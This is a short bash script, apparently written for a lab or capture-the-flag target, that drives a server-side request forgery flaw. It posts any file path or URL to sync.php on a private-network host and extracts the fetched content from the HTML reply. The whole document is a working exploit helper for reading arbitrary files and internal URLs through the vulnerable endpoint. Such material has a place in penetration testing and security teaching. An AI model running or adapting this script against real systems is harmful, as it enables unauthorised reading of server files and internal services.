#!/bin/bash
# SSRF arbitrary file/url read helper: ./ssrf.sh <path-or-url>
u="$1"
curl -sS -m 20 -X POST --data-urlencode "report_url=$u" http://192.168.1.119/sync.php \
 | python3 -c "
import sys,html,re
t=sys.stdin.read()
m=re.search(r'data-output[^>]*>(.*?)</div>',t,re.S)
if m: print(html.unescape(m.group(1)))
else:
    i=t.find('Telemetry failure')
    if i>=0: print('[ERR] '+html.unescape(re.sub(r'<[^>]+>','',t[i:i+200])))
    else: print('[no output]')
"